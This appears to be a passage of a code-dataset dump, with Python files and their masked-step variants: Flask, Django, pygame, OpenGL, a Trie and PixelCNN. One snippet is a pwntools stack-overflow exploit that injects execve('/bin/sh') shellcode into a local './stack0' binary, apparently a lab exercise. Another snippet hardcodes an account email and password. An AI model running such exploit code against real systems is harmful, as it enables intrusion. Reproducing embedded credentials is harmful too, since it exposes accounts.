code stringlengths 13 1.2M | order_type stringclasses 1
value | original_example dict | step_ids listlengths 1 5 |
|---|---|---|---|
import datetime
from flask import Flask, render_template, request
import database
import database1
import database2
import getYoutubeVideoLinks as getYT
import os
os.environ["EAI_USERNAME"] = 'pitabi1360@pashter.com'
os.environ["EAI_PASSWORD"] = 'Testqwerty1!'
from expertai.nlapi.cloud.client import ExpertAiClient
cl... | normal | {
"blob_id": "d0f2d47a786b85367f96897e7cd8c2ef8c577e2b",
"index": 2961,
"step-1": "<mask token>\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef home():\n if request.method == 'POST':\n entry_content = request.form.get('content')\n output = client.specific_resource_analysis(body={'document': {\... | [
5,
6,
7,
8,
9
] |
from services.BureauActif.libbureauactif.db.Base import db, BaseModel
class BureauActifCalendarDataType(db.Model, BaseModel):
__tablename__ = "ba_calendar_data_type"
id_calendar_data_type = db.Column(db.Integer, db.Sequence('id_calendar_data_type_sequence'), primary_key=True,
... | normal | {
"blob_id": "83117000f5f34490cb14580a9867b1e871ccc2ae",
"index": 526,
"step-1": "<mask token>\n\n\nclass BureauActifCalendarDataType(db.Model, BaseModel):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass BureauActifCalendarDataType... | [
1,
3,
4,
5,
6
] |
from datetime import datetime, timedelta
from request.insider_networking import InsiderTransactions
from db import FinanceDB
from acquisition.symbol.financial_symbols import Financial_Symbols
class FintelInsiderAcquisition():
def __init__(self, trading_date=None):
self.task_name = 'FintelInsiderAcquisiti... | normal | {
"blob_id": "08b13069020696d59028003a11b0ff06014a4c68",
"index": 3779,
"step-1": "<mask token>\n\n\nclass FintelInsiderAcquisition:\n\n def __init__(self, trading_date=None):\n self.task_name = 'FintelInsiderAcquisition'\n self.trading_date = trading_date\n self.symbols = Financial_Symbol... | [
5,
7,
9,
10,
11
] |
#!/usr/bin/env python
#lesson4.py
# See original source and C based tutorial at http://nehe.gamedev.net
#This code was created by Richard Campbell '99
#(ported to Python/PyOpenGL by John Ferguson 2000)
#John Ferguson at hakuin@voicenet.com
#Code ported for use with pyglet by Jess Hill (Jestermon) 2009
#jestermon.wee... | normal | {
"blob_id": "5fc097518b6069131e1ca58fa885c6ad45ae143c",
"index": 4741,
"step-1": "<mask token>\n\n\nclass World(pyglet.window.Window):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def setup(self):\n self.width = 640\n self.height = 480\n self.rtri = 0.0\n ... | [
9,
13,
15,
16,
17
] |
# MEDIUM
# TLE if decrement divisor only
# Bit manipulation.
# input: 100 / 3
# times = 0
# 3 << 0 = 3
# 3 << 1 = 6
# 3 << 2 = 12
# 3 << 3 = 24
# 3 << 4 = 48
# 3 << 5 = 96
# 3 << 6 = 192 => greater than dividend 100 => stop here
# times -=1 becaus... | normal | {
"blob_id": "d1864f454b1909196fd9a6e2279b23f4c4148917",
"index": 7232,
"step-1": "<mask token>\n",
"step-2": "class Solution:\n <mask token>\n",
"step-3": "class Solution:\n\n def divide(self, dividend: int, divisor: int) ->int:\n if dividend == -2 ** 31 and divisor == -1:\n return 2 ... | [
0,
1,
2,
3
] |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
import datetime
class Migration(migrations.Migration):
dependencies = [
]
operations = [
migrations.CreateModel(
name='Author',
fields=[
('id', models... | normal | {
"blob_id": "4a118f9081a8b3baf0b074c8dc14eaeef4559c08",
"index": 6684,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = []\n operat... | [
0,
1,
2,
3,
4
] |
def parse(num):
strnum = str(num)
words = []
for item in range(len(strnum)-1, -1, -1):
words.append(strnum[item])
hundred = words[:3]
thousand = words[3:6]
million = words[6:len(words)]
hundred = hundred[::-1]
thousand = thousand[::-1]
million = million[::-1]
units = [... | normal | {
"blob_id": "843901b65a556e57470f73be2657e9fd3c0facc6",
"index": 9721,
"step-1": "<mask token>\n",
"step-2": "def parse(num):\n strnum = str(num)\n words = []\n for item in range(len(strnum) - 1, -1, -1):\n words.append(strnum[item])\n hundred = words[:3]\n thousand = words[3:6]\n mill... | [
0,
1,
2,
3
] |
#!/usr/bin/python
#
#
# This is the Hydra slave module
| normal | {
"blob_id": "95cdf6a22655d500c2838899ec9dfbff637a5969",
"index": 2097,
"step-1": "#!/usr/bin/python\n#\n#\n\n# This is the Hydra slave module\n\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
1
]
} | [
1
] |
#Arushi Patel (aruship)
from tkinter import *
import random
######################################
#images taken from wikipedia,pixabay,
#trans americas, clipartpanda,pngimg,
#findicons, microsoft word
######################################
####################################
# init
#####################... | normal | {
"blob_id": "c893095be88636e6cb06eb3b939d8106fbb7a8ca",
"index": 470,
"step-1": "<mask token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n ... | [
66,
79,
82,
95,
104
] |
from hicity.graphics.graphics import HiCityGUI
def GUI():
app = HiCityGUI()
app.mainloop()
if __name__ == '__main__':
GUI()
| normal | {
"blob_id": "dd96b7f73c07bf0c74e6ce4dbff1a9cc09729b72",
"index": 7918,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef GUI():\n app = HiCityGUI()\n app.mainloop()\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef GUI():\n app = HiCityGUI()\n app.mainloop()\n\n\nif __name__ == '_... | [
0,
1,
2,
3
] |
import cv2
import random
import os
import numpy as np
import matplotlib.pyplot as plt
import torch
from torch.utils.data import Dataset
from torchvision import transforms
class ShanghaiTechPartA(Dataset):
def __init__(self, root, shuffle=False, transform=None, downsample=1):
self.root = root
sel... | normal | {
"blob_id": "8a0a98ab072e46463d80d8638c830e6db0032a77",
"index": 8101,
"step-1": "<mask token>\n\n\nclass ShanghaiTechPartA(Dataset):\n\n def __init__(self, root, shuffle=False, transform=None, downsample=1):\n self.root = root\n self.shuffle = shuffle\n self.transform = transform\n ... | [
3,
4,
5,
6,
7
] |
# -*- coding: utf-8 -*-
"""
helpers
~~~~~~~
Implements various helper functions.
:copyright: (c) 2016 by Patrick Spencer.
:license: Apache 2.0, see LICENSE for more details.
"""
from datetime import datetime, timedelta
import calendar
def month_bounds(year, month):
"""
Returns a tuple of ... | normal | {
"blob_id": "4c5416582afb3cfeb56259954cda2701ea26f8cd",
"index": 7780,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef month_bounds(year, month):\n \"\"\"\n Returns a tuple of datetime objects (month_start,month_end) given a year and month.\n Both params are strings because we want month ... | [
0,
1,
2,
3
] |
# coding: utf-8
from sqlalchemy import Column, DateTime, Integer, String
from sqlalchemy.schema import FetchedValue
from application import db
class BmExam(db.Model):
__tablename__ = 'bm_exam'
id = db.Column(db.Integer, primary_key=True)
status = db.Column(db.Integer, nullable=False, server_default=db.Fe... | normal | {
"blob_id": "6be2cc99d03596715d76cda41d63b8c91c829498",
"index": 2211,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass BmExam(db.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask toke... | [
0,
1,
2,
3,
4
] |
import requests
import toml
from pathlib import Path
imgs:list
config:dict
def parseTex(lines:list):
new_lines = []
for i, line in enumerate(lines):
if line == "\n":
continue
inline = False
if (line[0] == "$" and line[1] != "$"):
inline = True
line = li... | normal | {
"blob_id": "dbd04f7b88fa43ae920a6744e3979dbf917d3fc6",
"index": 7649,
"step-1": "<mask token>\n\n\ndef parseTex(lines: list):\n new_lines = []\n for i, line in enumerate(lines):\n if line == '\\n':\n continue\n inline = False\n if line[0] == '$' and line[1] != '$':\n ... | [
2,
3,
4,
5,
6
] |
"""
进程对象属性
"""
from multiprocessing import Process
import time
def tm():
for i in range(3):
print(time.ctime())
time.sleep(2)
p = Process(target=tm,name='Tarena')
# 设置子进程随父进程退出
p.daemon = True
p.start()
print("Name:",p.name) # 进程名称
print("PID:",p.pid) # 进程PID
print("is alive:",p.is_alive()) #... | normal | {
"blob_id": "9d7bc2d93b855fbd22a4707a6237ac51069beb53",
"index": 9385,
"step-1": "<mask token>\n\n\ndef tm():\n for i in range(3):\n print(time.ctime())\n time.sleep(2)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef tm():\n for i in range(3):\n print(time.ctime())\n ti... | [
1,
2,
3,
4,
5
] |
from django.db import models
class Event(models.Model):
name = models.TextField()
host = models.TextField(null=True)
fields = models.TextField(null=True)
description = models.TextField(null=True)
date = models.TextField()
start_time = models.TextField()
end_time = models.TextField()
ba... | normal | {
"blob_id": "170716ccaaf45db2ee974de260883a8d70513f52",
"index": 7583,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Event(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask t... | [
0,
1,
2,
3
] |
import numpy as np
import math
import activations
class FC_layer():
def __init__(self, input_size, output_size, weight_init_range, activation, debug):
self.type = "FC"
self.activation_name = activation
self.shape = (input_size, output_size)
self.activation = activations.get_activati... | normal | {
"blob_id": "ff99b5fd168d7987e488d7f6d0455619e988f15a",
"index": 3574,
"step-1": "<mask token>\n\n\nclass conv2D:\n <mask token>\n <mask token>\n\n def forward(self, input_feature_maps):\n output = np.zeros(self.output_shape)\n input_feature_maps = self.apply_zero_padding(input_feature_map... | [
24,
25,
28,
33,
39
] |
''' mock_proto.py '''
from heron.common.src.python import constants
import heron.proto.execution_state_pb2 as protoEState
import heron.proto.physical_plan_pb2 as protoPPlan
import heron.proto.tmaster_pb2 as protoTmaster
import heron.proto.topology_pb2 as protoTopology
# pylint: disable=no-self-use, missing-docstring
c... | normal | {
"blob_id": "002ef36bd132f1ac258b3f8baf8098accbd8a8f2",
"index": 6839,
"step-1": "<mask token>\n\n\nclass MockProto(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def create_mock_spout(self, spout_name, output_streams, spout_parallelism):\n spout ... | [
9,
10,
12,
13,
14
] |
def calculaEuclidiana(obj1,obj2):
soma = 0
for I in range(len(obj1)):
soma += (obj1[I] - obj2[I])**2
return soma ** 0.5
def calculaMinkowski(obj1,obj2,p):
# p = 2 => distancia Euclidiana
# p = 1 => distancia de Manhattan
soma = 0
for I in range(len(obj1)):
soma += (abs(obj1[... | normal | {
"blob_id": "6c349b7b4d82b37ec1b1ff8e0d35a3557ed1af67",
"index": 4613,
"step-1": "<mask token>\n\n\ndef calculaMinkowski(obj1, obj2, p):\n soma = 0\n for I in range(len(obj1)):\n soma += abs(obj1[I] - obj2[I]) ** p\n return soma ** (1 / p)\n\n\n<mask token>\n\n\ndef calculaMinkowskiNormalizada(ob... | [
2,
3,
4,
5,
6
] |
import turtle
pen = turtle.Turtle()
def curve():
for i in range(200):
pen.right(1)
pen.forward(1)
def heart():
pen.fillcolor('yellow')
pen.begin_fill()
pen.left(140)
pen.forward(113)
curve()
pen.left(120)
curve()
pen.forward(112)
pen.end_fill()
heart()
| normal | {
"blob_id": "fa925d0ef4f9df3fdf9a51c7fcc88933609bc9e3",
"index": 3980,
"step-1": "<mask token>\n\n\ndef curve():\n for i in range(200):\n pen.right(1)\n pen.forward(1)\n\n\ndef heart():\n pen.fillcolor('yellow')\n pen.begin_fill()\n pen.left(140)\n pen.forward(113)\n curve()\n ... | [
2,
3,
4,
5
] |
class TrieNode:
def __init__(self):
self.children = [None for i in range(26)]
self.isEndOfWord = 0
class Trie:
def __init__(self):
self.root = self.getNode()
def getNode(self):
return TrieNode()
def insert(self, key):
root = self.root
length = len(key)
for level in range(length):
index = ord(key[le... | normal | {
"blob_id": "5c7c90717f2e98c26675fec6390b4ea9797d6a4e",
"index": 2240,
"step-1": "class TrieNode:\n\tdef __init__(self):\n\t\tself.children = [None for i in range(26)]\n\t\tself.isEndOfWord = 0\nclass Trie:\n\tdef __init__(self):\n\t\tself.root = self.getNode()\n\tdef getNode(self):\n\t\treturn TrieNode()\n\tdef... | [
0
] |
ii = [('CookGHP3.py', 1), ('AubePRP2.py', 1), ('WilkJMC3.py', 1), (
'LeakWTI3.py', 1), ('AubePRP.py', 2), ('GellWPT.py', 2), ('AdamWEP.py',
1), ('KiddJAE.py', 1), ('CoolWHM.py', 1), ('WadeJEB.py', 1), (
'SoutRD.py', 2), ('WheeJPT.py', 1), ('HowiWRL2.py', 1), ('WilkJMC.py',
1), ('WestJIT.py', 1), ('Dequ... | normal | {
"blob_id": "dce496c9ae6605e95ffbbb2885ec15b19fb756ef",
"index": 2799,
"step-1": "<mask token>\n",
"step-2": "ii = [('CookGHP3.py', 1), ('AubePRP2.py', 1), ('WilkJMC3.py', 1), (\n 'LeakWTI3.py', 1), ('AubePRP.py', 2), ('GellWPT.py', 2), ('AdamWEP.py',\n 1), ('KiddJAE.py', 1), ('CoolWHM.py', 1), ('WadeJEB... | [
0,
1
] |
#inject shellcode
from pwn import *
shellcode =p32(0x8049000+0x4)\
+asm("mov eax,SYS_execve")\
+asm("xor ecx,ecx")\
+asm("xor edx,edx")\
+asm("mov ebx,0x8049014")\
+asm("int 0x80")\
+"/bin/sh"
r=process("./stack0",aslr=True)
r.sendline('A'*(0x4c)+p32(0x8049000-0x4)+p32(0x804840c)+p32(0x8049000))
r.sendline(shellcode)... | normal | {
"blob_id": "cf70d6064fd4a43bc17cd852aaf04afade73d995",
"index": 9252,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nr.sendline('A' * 76 + p32(134516736 - 4) + p32(134513676) + p32(134516736))\nr.sendline(shellcode)\nr.interactive()\n",
"step-3": "<mask token>\nshellcode = p32(134516736 + 4) + asm('mo... | [
0,
1,
2,
3,
4
] |
'''
# AWS::Chatbot Construct Library
AWS Chatbot is an AWS service that enables DevOps and software development teams to use Slack chat rooms to monitor and respond to operational events in their AWS Cloud. AWS Chatbot processes AWS service notifications from Amazon Simple Notification Service (Amazon SNS), and forwar... | normal | {
"blob_id": "937fd6aa7bd21258bd6e0f592d94a966519ef885",
"index": 9458,
"step-1": "<mask token>\n\n\n@jsii.interface(jsii_type='aws-cdk-lib.aws_chatbot.ISlackChannelConfiguration')\nclass ISlackChannelConfiguration(_IResource_c80c4260, _IGrantable_71c4f5de,\n _INotificationRuleTarget_faa3b79b, typing_extension... | [
39,
61,
66,
75,
85
] |
import pygame
import os
import random
#Vx = float(input("Input Vx : "))
#Vy = float(input("Input Vy : "))
Vx = 20
Vy = 20
#GEOMETRY
screen_width = 1000
screen_height = 600
FPS = 30
#COLOR
BLUE = (0, 0, 255)
BLACK = (0, 0, 0)
GREEN = (204, 153, 255)
RED = (255, 0, 0)
WHITE = (155, 25, 0)
colorLi... | normal | {
"blob_id": "0dd5511c0e39f113c46785be78a898e79bc45a21",
"index": 5188,
"step-1": "<mask token>\n\n\nclass projectile(pygame.sprite.Sprite):\n <mask token>\n <mask token>\n <mask token>\n\n\nclass enemy(pygame.sprite.Sprite):\n im = pygame.image.load(os.path.join(path, 'Gallery', 'stateczek.png'))\n ... | [
6,
9,
13,
14,
18
] |
'''
Faraday Penetration Test IDE
Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
See the file 'doc/LICENSE' for the license information
'''
"""
This module contains some useful functions to embedd an IPython shell.
This allows to interactively test things.
TODO: create a QT Widget capable of running the... | normal | {
"blob_id": "3eb071fa826c838d847e3f97abe3b706760a1336",
"index": 1309,
"step-1": "'''\nFaraday Penetration Test IDE\nCopyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)\nSee the file 'doc/LICENSE' for the license information\n\n'''\n\"\"\"\nThis module contains some useful functions to embedd an IPyth... | [
0
] |
__author__ = 'asistente'
#from __future__ import absolute_import
from unittest import TestCase
from selenium import webdriver
from selenium.webdriver.common.by import By
class FunctionalTest(TestCase):
def setUp(self):
self.browser = webdriver.Chrome("C:\\chromedriver\\chromedriver.exe")
self.b... | normal | {
"blob_id": "fc4cf800c663abf20bfba7fcc1032e09a992641b",
"index": 5334,
"step-1": "<mask token>\n\n\nclass FunctionalTest(TestCase):\n\n def setUp(self):\n self.browser = webdriver.Chrome('C:\\\\chromedriver\\\\chromedriver.exe')\n self.browser.implicitly_wait(2)\n\n def tearDown(self):\n ... | [
6,
7,
9,
13,
14
] |
class Node:
"""
This class represent a node (vertex).
"""
def __init__(self, k: int = None, loc: tuple = None, **kwargs):
"""
Each node contain dew fields:
key: node_id.
location: node's position represent as 3DPoint.
ni_out: a dictionary that holds all the "edge... | normal | {
"blob_id": "9c3f6c368c764918da5cce44da574b7c041fa414",
"index": 1364,
"step-1": "class Node:\n <mask token>\n\n def __init__(self, k: int=None, loc: tuple=None, **kwargs):\n \"\"\"\n Each node contain dew fields:\n key: node_id.\n location: node's position represent as 3DPoint.... | [
12,
13,
14,
15,
16
] |
from PyQt5 import QtCore, QtWidgets
from .main_window_base import Ui_MainWindow
from .custom_sort_filter_proxy_model import CustomSortFilterProxyModel
from .tree_model import TreeModel
model_filename = "widgets/default.txt"
class MainWindow(Ui_MainWindow, QtCore.QObject):
def __init__(self, qmain_window):
... | normal | {
"blob_id": "7a918518d8c9ff1184a634d1a5c799e735dfbc8a",
"index": 1707,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass MainWindow(Ui_MainWindow, QtCore.QObject):\n\n def __init__(self, qmain_window):\n super().__init__()\n self.setupUi(qmain_window)\n self._proxy_model = ... | [
0,
2,
3,
4,
5
] |
import numpy as np
import time
# Create key based on timestamp
KEY = time.time()
np.random.seed(int(KEY))
# Read in message
with open('Message.txt', 'r') as f:
Message = f.read()
f.close()
# Generate vector of random integers
Encoder = np.random.random_integers(300, size=len(Message))
# Map message to encoded arr... | normal | {
"blob_id": "b2f9a133581b5144b73a47f50a3b355d1112f7ea",
"index": 4072,
"step-1": "import numpy as np\nimport time\n\n# Create key based on timestamp\nKEY = time.time()\nnp.random.seed(int(KEY))\n\n# Read in message\nwith open('Message.txt', 'r') as f:\n\tMessage = f.read()\n\tf.close()\n\n# Generate vector of ra... | [
0
] |
from PyQt4.QtGui import QSystemTrayIcon, QApplication, QMenu, QIcon
class SystemTrayIcon(QSystemTrayIcon):
def __init__(self, parent=None):
super(SystemTrayIcon, self).__init__(parent)
self.set_icon_state(QIcon.Disabled)
menu = QMenu(parent)
self.exit_action = menu.addAction('E&xi... | normal | {
"blob_id": "c6e315d7dd44b998f64eee079f2d8455ffecdc30",
"index": 9931,
"step-1": "<mask token>\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n <mask token>\n <mask token>\n\n def set_icon_state(self, state):\n pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)\n self.setIc... | [
2,
3,
4,
5
] |
# 2. Отсортируйте по возрастанию методом слияния одномерный вещественный массив,
# заданный случайными числами на промежутке [0; 50).
# Выведите на экран исходный и отсортированный массивы.
from random import randint
# создаем массив [0, 50) случайных чисел
size = 13
array = [randint(0, 50) for x in range(s... | normal | {
"blob_id": "cd1987f09ca3e09ac251b1ebdec4168fd5dbdd0e",
"index": 7607,
"step-1": "<mask token>\n\n\ndef merge_sort(merged_arr: list):\n \"\"\"\n функция делит поданный на вход массив,\n и рекурсивно все сортирует слиянием\n :param merged_arr: - список на входе\n :return: - список отсортированный с... | [
2,
3,
4,
5,
6
] |
# -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# http://doc.scrapy.org/en/latest/topics/items.html
import scrapy
class CnnArticleItem(scrapy.Item):
title = scrapy.Field()
developments = scrapy.Field()
body = scrapy.Field()
date = scrapy.Field()
clas... | normal | {
"blob_id": "cf0eb9685cdfc412871d3b36270ddab3e520bb8f",
"index": 104,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass CnnArticleItem(scrapy.Item):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass GoogleArticleItem(scrapy.Item):\n title = scrapy.Field()\n d... | [
0,
3,
4,
5,
6
] |
import pymysql
import pymssql
import socket
import threading
from time import sleep
address = ('127.0.0.1', 20176)
usermode = {1: 'Wangcz_Students',
2: 'Wangcz_Teachers',
3: 'Wangcz_Admin'
}
def checkuser(username, password, cursor, user_db):
cursor.execute('''select * from %s... | normal | {
"blob_id": "758e5b9a65132c4bdee4600e79c27f9c0f272312",
"index": 8308,
"step-1": "<mask token>\n\n\ndef checkuser(username, password, cursor, user_db):\n cursor.execute('select * from %s WHERE username = %d AND password = %d' %\n (user_db, int(username), int(password)))\n return cursor.fetchall()\n\... | [
2,
3,
4,
5,
6
] |
from flask_wtf import FlaskForm
from wtforms import StringField, DateField, DecimalField
class HoursForm(FlaskForm):
date = StringField("Date")
begins = DecimalField("Begins")
ends = DecimalField("Ends")
class Meta:
csrf = False
| normal | {
"blob_id": "b1a808e76008edec02d37ec596461e3a00a1d349",
"index": 4553,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass HoursForm(FlaskForm):\n <mask token>\n <mask token>\n <mask token>\n\n\n class Meta:\n csrf = False\n",
"step-3": "<mask token>\n\n\nclass HoursForm(FlaskFo... | [
0,
1,
2,
3,
4
] |
#!/usr/bin/python
import sys
def get_params(fname):
d = dict()
with open(fname) as f:
for line in f:
l = line.strip()
if (line[0] == '#'):
continue
param = line.split('=')
v = ' '.join(param[1:])
d[param[0]] = v.strip('\n')
return d
usage_text = "Compares boot configs of two kernels\n" \
"U... | normal | {
"blob_id": "d287a5128ca9352b2edc459c9e42a57ef800ec9c",
"index": 7657,
"step-1": "#!/usr/bin/python\n\nimport sys\n\ndef get_params(fname):\n\td = dict()\n\twith open(fname) as f:\n\t\tfor line in f:\n\t\t\tl = line.strip()\n\t\t\tif (line[0] == '#'):\n\t\t\t\tcontinue\n\t\t\tparam = line.split('=')\n\t\t\tv = '... | [
0
] |
from sys import exit
# Outside
def outside():
print """
Oyoiyoi ... The train isn't running due to the HVV being complete crap.
Well, the Rewe around the corner is still open
and there's a HSV bar around the corner.
You want to get your drank on, right now!
Where do you go?
"""
choice =... | normal | {
"blob_id": "b3bace532f687edc966c6aef5f454bde9367204f",
"index": 4500,
"step-1": "from sys import exit\n\n# Outside\ndef outside():\n print \"\"\"\n Oyoiyoi ... The train isn't running due to the HVV being complete crap.\n Well, the Rewe around the corner is still open\n and there's a HSV bar around ... | [
0
] |
"""
Make sure overwriting read-only files works as expected (via win-tool).
"""
import TestGyp
import filecmp
import os
import stat
import sys
if sys.platform == 'win32':
test = TestGyp.TestGyp(formats=['ninja'])
os.makedirs('subdir')
read_only_files = ['read-only-file', 'subdir/A', 'subdir/B', 'subd... | normal | {
"blob_id": "efe5921afb160b7b5a953cdd0c2f90f64b5f34c9",
"index": 5975,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif sys.platform == 'win32':\n test = TestGyp.TestGyp(formats=['ninja'])\n os.makedirs('subdir')\n read_only_files = ['read-only-file', 'subdir/A', 'subdir/B', 'subdir/C']\n fo... | [
0,
1,
2,
3
] |
input_object = open("input.txt", "r")
input_data = input_object.readlines()
input_object.close()
cleaned_data = []
for line in input_data:
cleaned_data.append(int(line.strip()))
input_size = len(cleaned_data)
for i in range(0, input_size):
for j in range(i, input_size):
for k in range(j, input_size):... | normal | {
"blob_id": "72f3ae476581ff5acd6c7101764f4764285a47bd",
"index": 4426,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ninput_object.close()\n<mask token>\nfor line in input_data:\n cleaned_data.append(int(line.strip()))\n<mask token>\nfor i in range(0, input_size):\n for j in range(i, input_size):\n... | [
0,
1,
2,
3
] |
#!/usr/bin/python
# Point of origin (connector J3, pad 1, net 3V3)
x = 0.0
y = 0.0
drillDiameter = 1.0
padWidth = 1.6
from os.path import exists
from pad import *
filename="iCEstick.kicad_mod"
header = ""
footer = ""
if exists(filename):
# Read existing footprint
f = open(filename)
footprint = f.read... | normal | {
"blob_id": "c71e367ad320d7eadabbbfda728d94448db6441d",
"index": 2109,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif exists(filename):\n f = open(filename)\n footprint = f.read()\n f.close()\n headerEndIndex = footprint.find('(pad ')\n header = footprint[:headerEndIndex]\n lastPadIn... | [
0,
1,
2,
3,
4
] |
import math
import pygame
from TestingFunctions.FunctionExample import FunctionExample
class FunctionPygameCircle(FunctionExample):
def __init__(self, data_len, width=500, height=500, dot_size=5):
self.angle = (2 * math.pi) / (data_len)
self.width = width
self.height = height
self... | normal | {
"blob_id": "2faf39f8d12197e20948b2bf4288b7ee406f5b86",
"index": 2025,
"step-1": "<mask token>\n\n\nclass FunctionPygameCircle(FunctionExample):\n\n def __init__(self, data_len, width=500, height=500, dot_size=5):\n self.angle = 2 * math.pi / data_len\n self.width = width\n self.height = ... | [
4,
6,
7,
8,
9
] |
import os
from googleapiclient.discovery import build
import httplib2
from oauth2client import gce
from oauth2client.appengine import AppAssertionCredentials
from oauth2client.file import Storage
__author__ = 'ekampf'
import json
import logging
import apiclient.errors
from apiclient import http as apiclient_request... | normal | {
"blob_id": "10d5eef304a3d293441169ebde1f7859537c4b6e",
"index": 9847,
"step-1": "import os\nfrom googleapiclient.discovery import build\nimport httplib2\nfrom oauth2client import gce\nfrom oauth2client.appengine import AppAssertionCredentials\nfrom oauth2client.file import Storage\n\n__author__ = 'ekampf'\n\n\n... | [
0
] |
# Imports
import os
import time
import math
import random
from lib import *
def MT19937_keystream_generator(seed: int) -> bytes:
"""
Generate keystream for MT19937
"""
# Verify that the seed is atmost 16 bit long.
assert math.log2(seed) <= 16
prng = MT19937(seed)
while True:
nu... | normal | {
"blob_id": "66b7d928bc2c98a12f7adb8a375ced21edce8333",
"index": 8492,
"step-1": "<mask token>\n\n\ndef main():\n plaintext = 'Hello World!'\n string = b''\n for _ in range(random.randint(0, 10)):\n i = random.randint(33, 126)\n string += chr(i).encode()\n string += plaintext.encode()\n... | [
1,
3,
4,
5,
6
] |
import torch.nn as nn
from layers import maskAConv, MaskBConvBlock
class PixelCNN(nn.Module):
def __init__(self, n_channel=3, h=128, discrete_channel=256):
"""PixelCNN Model"""
super(PixelCNN, self).__init__()
self.discrete_channel = discrete_channel
self.MaskAConv = maskAConv(n_... | normal | {
"blob_id": "3185b6b1902099caed66ce6f97cd1b9940261fc1",
"index": 7533,
"step-1": "<mask token>\n\n\nclass PixelCNN(nn.Module):\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass PixelCNN(nn.Module):\n <mask token>\n\n def forward(self, x):\n \"\"\"\n Args:\n ... | [
1,
2,
3,
4,
5
] |
from django import forms
from . import models
from .validators import validate_metadata
class ServiceProviderForm(forms.ModelForm):
xml = forms.CharField(label='SAML Metadata XML',
widget=forms.Textarea,
validators=[validate_metadata])
class Meta:
... | normal | {
"blob_id": "e018d28cbacb568596eb9a5134581db960111e14",
"index": 9835,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass ServiceProviderForm(forms.ModelForm):\n <mask token>\n\n\n class Meta:\n model = models.ServiceProvider\n fields = 'xml',\n",
"step-3": "<mask token>\n\n\n... | [
0,
1,
2,
3,
4
] |
"""Run golden output tests.
The golden tests are a convenient way to make sure that a "small" change
does not break anyone else.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from collections import namedtuple
import os
import subprocess
import sys
... | normal | {
"blob_id": "2294951af6ad7a5e752285194d0586c79c49ef87",
"index": 4254,
"step-1": "<mask token>\n\n\ndef FindTests():\n \"\"\"Finds golden files and returns Test cases for each.\"\"\"\n for root, _, files in os.walk(GOLDEN_CASES_DIR):\n path_parts = root.split('/')\n if path_parts[-3] == 'gold... | [
4,
5,
6,
7,
8
] |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.4 on 2016-04-12 14:41
from __future__ import unicode_literals
import datetime
from django.db import migrations, models
from django.utils.timezone import utc
class Migration(migrations.Migration):
dependencies = [
('ashesiundergraduate', '0016_orphanage')... | normal | {
"blob_id": "5f2110bcab465a85ad7db1b0e01a882b3ed305a5",
"index": 2876,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('ashesiunder... | [
0,
1,
2,
3,
4
] |
from .FactorWarData import Get_FactorWar_Data
| normal | {
"blob_id": "5aa55a96e414ad6b3ceebbcbd71c23a1fd69f0d1",
"index": 6400,
"step-1": "<mask token>\n",
"step-2": "from .FactorWarData import Get_FactorWar_Data\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
} | [
0,
1
] |
version https://git-lfs.github.com/spec/v1
oid sha256:26be7fc8be181fad8e821179cce6be14e37a5f303e532e6fb00f848d5f33fe41
size 752
| normal | {
"blob_id": "0f37baf3b08ecf7bd8db43ecc2f29c3ca6e00af0",
"index": 3089,
"step-1": "version https://git-lfs.github.com/spec/v1\noid sha256:26be7fc8be181fad8e821179cce6be14e37a5f303e532e6fb00f848d5f33fe41\nsize 752\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]... | [
0
] |
import math
def sexpr_key(s_expr):
return s_expr.strip('(').split(' ')[0]
def expr_key(expr):
return expr.split(' ')[0]
def expr_data(expr):
return expr.split(' ')[1:]
def list_key(_list):
if type(_list) is type(list()):
return _list[0]
else:
return expr_key(_list)
def ... | normal | {
"blob_id": "18789b5106d4be8a02197b165e16a74c08a58c66",
